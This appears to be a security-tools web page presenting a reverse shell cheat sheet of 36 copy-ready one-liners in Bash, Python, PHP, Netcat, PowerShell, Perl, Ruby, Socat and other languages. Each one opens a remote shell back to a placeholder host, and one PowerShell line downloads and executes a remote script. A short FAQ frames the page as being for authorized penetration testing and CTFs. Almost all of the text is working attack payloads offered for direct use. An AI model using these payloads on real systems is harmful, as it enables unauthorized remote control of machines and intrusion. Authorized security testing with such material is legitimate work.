Reverse Shell Cheat Sheet

Reverse shell one-liners for Bash, Python, PHP, Perl, Ruby, Netcat, PowerShell, and more. (36 payloads)

Build custom Rev Shells payloads in the Reverse Shell generator

Bash

(5)

bash -i >& /dev/tcp/LHOST/LPORT 0>&1

Interactive bash reverse shell

bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"

Bash -c wrapper

0<&196;exec 196<>/dev/tcp/LHOST/LPORT; sh <&196 >&196 2>&196

File descriptor redirect

/bin/bash -l > /dev/tcp/LHOST/LPORT 0<&1 2>&1

exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done

Exec with read loop

Python

(4)

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Python 2 reverse shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Python 3 reverse shell

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

Python 3 with PTY (fully interactive)

export RHOST="LHOST";export RPORT=LPORT;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Python 3 with env vars

PHP

(5)

php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'

PHP exec reverse shell

php -r '$sock=fsockopen("LHOST",LPORT);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

PHP proc_open reverse shell

php -r '$sock=fsockopen("LHOST",LPORT);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

PHP shell_exec reverse shell

php -r '$sock=fsockopen("LHOST",LPORT);passthru("/bin/sh -i <&3 >&3 2>&3");'

PHP passthru reverse shell

php -r '$sock=fsockopen("LHOST",LPORT);system("/bin/sh -i <&3 >&3 2>&3");'

PHP system reverse shell

Netcat

(7)

nc -e /bin/sh LHOST LPORT

Netcat with -e flag

nc -e /bin/bash LHOST LPORT

Netcat with bash

nc -c bash LHOST LPORT

Netcat with -c flag

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f

Netcat without -e (mkfifo)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc LHOST LPORT >/tmp/f

Netcat mkfifo with bash

ncat LHOST LPORT -e /bin/bash

Ncat (nmap) reverse shell

ncat --ssl LHOST LPORT -e /bin/bash

Ncat SSL encrypted reverse shell

PowerShell

(3)

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Full PowerShell reverse shell

powershell IEX(New-Object Net.WebClient).DownloadString('http://LHOST/shell.ps1')

Download and execute PowerShell script

powershell -enc <Base64EncodedCommand>

Base64 encoded command (use encoding pipeline)

Perl

(2)

perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl socket reverse shell

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"LHOST:LPORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Perl IO module reverse shell

Ruby

(2)

ruby -rsocket -e'f=TCPSocket.open("LHOST",LPORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Ruby socket reverse shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("LHOST",LPORT);loop{c.gets.chomp!;(exit! if $_=="exit");IO.popen($_,"r"){|io|c.print io.read}}'

Ruby fork reverse shell

Socat

(3)

socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT

Socat fully interactive TTY

socat tcp-connect:LHOST:LPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane

Socat PTY reverse shell

socat tcp-connect:LHOST:LPORT exec:"bash -li",pty,stderr,setsid,sigint,sane

Socat bash interactive

Other Languages

(5)

lua -e "require('socket');require('os');t=socket.tcp();t:connect('LHOST','LPORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Lua reverse shell

awk 'BEGIN {s = "/inet/tcp/0/LHOST/LPORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

AWK reverse shell

require('child_process').exec('nc -e /bin/sh LHOST LPORT')

Node.js exec reverse shell

(function(){var net=require('net'),cp=require('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(LPORT,'LHOST',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})()

Node.js full reverse shell

groovy -e 'String host="LHOST";int port=LPORT;String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break}catch(Exception e){}};p.destroy();s.close();'

Groovy reverse shell

ShareX LinkedIn Reddit

Level up your security testing

Install the CLI

npx payload-playground

Explore All Tools

Encoding, hashing, JWT & more

Browse Cheat Sheets

Quick-reference payload guides

Related Generators

Reverse Shell Command Injection

Related Cheat Sheets

Command Injection Cheat Sheet LFI / Path Traversal Cheat Sheet

Frequently asked questions

What is the Reverse Shell Cheat Sheet?+

It's a quick-reference collection of 36 Rev Shells payloads for testing Reverse Shell vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these Rev Shells payloads?+

Copy any payload straight into your authorized test, or open the Reverse Shell generator to build customized Rev Shells variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.

Are these Rev Shells payloads free to use?+

Yes — this cheat sheet and all Rev Shells payloads are completely free, with no account required. Everything runs in your browser.

$loading...

Frequently asked questions

What is the Reverse Shell Cheat Sheet?+

How do I use these Rev Shells payloads?+

Are these Rev Shells payloads free to use?+

Yes — this cheat sheet and all Rev Shells payloads are completely free, with no account required. Everything runs in your browser.

Reverse Shell Cheat Sheet

Bash

Python

PHP

Netcat

PowerShell

Perl

Ruby

Socat

Other Languages

Related Generators

Related Cheat Sheets

Further reading

Frequently asked questions

Reverse Shell Cheat Sheet

Bash

Python

PHP

Netcat

PowerShell

Perl

Ruby

Socat

Other Languages

Related Generators

Related Cheat Sheets

Further reading

Frequently asked questions